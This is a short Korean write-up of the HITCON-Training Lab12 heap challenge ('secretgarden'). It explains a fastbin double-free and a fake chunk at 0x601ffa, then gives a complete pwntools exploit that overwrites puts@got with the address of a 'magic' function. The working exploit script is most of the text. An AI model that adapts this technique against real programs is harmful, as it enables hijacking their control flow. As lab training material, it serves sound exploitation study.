[HITCON-Training]Lab12

fastbin dup문제다.

puts@got의 주소보다 낮은 0x601ffa 에 사이즈가 0x60되게 할 수 있는 fake chunk를 만들 수 있다. 그러면 데이터가 쓰여지는 영역은 0x60200a 이고 이후 puts@got overwrite해주면 된다. 할당해주는 사이즈는 헤더를 제외한 0x50만큼만 해주면 된다.

exploit.py

from pwn import *

context.log_level = 'debug'
e = ELF('./secretgarden')
p = process('./secretgarden')
sla = lambda x,y : p.sendlineafter(x,y)
sa = lambda x,y : p.sendafter(x,y)

def add(size,name,color):
	sla(':','1')
	sla(':',str(size))
	sa(':',name)
	sla(':',color)

def visit():
	sla(':','2')

def remove(idx):
	sla(':','3')
	sla(':',str(idx))

def clean():
	sla(':','4')

def leave():
	sla(':','5')

add(0x50,'a','a')
add(0x50,'b','b')
remove(0)
remove(1)
remove(0)
add(0x50,p64(0x601ffa),'c') # fake chunk
add(0x50,'e','e')
add(0x50,'f','f')
add(0x50,'A'*22 + p64(e.symbols['magic']),'B') # puts@got 

p.interactive()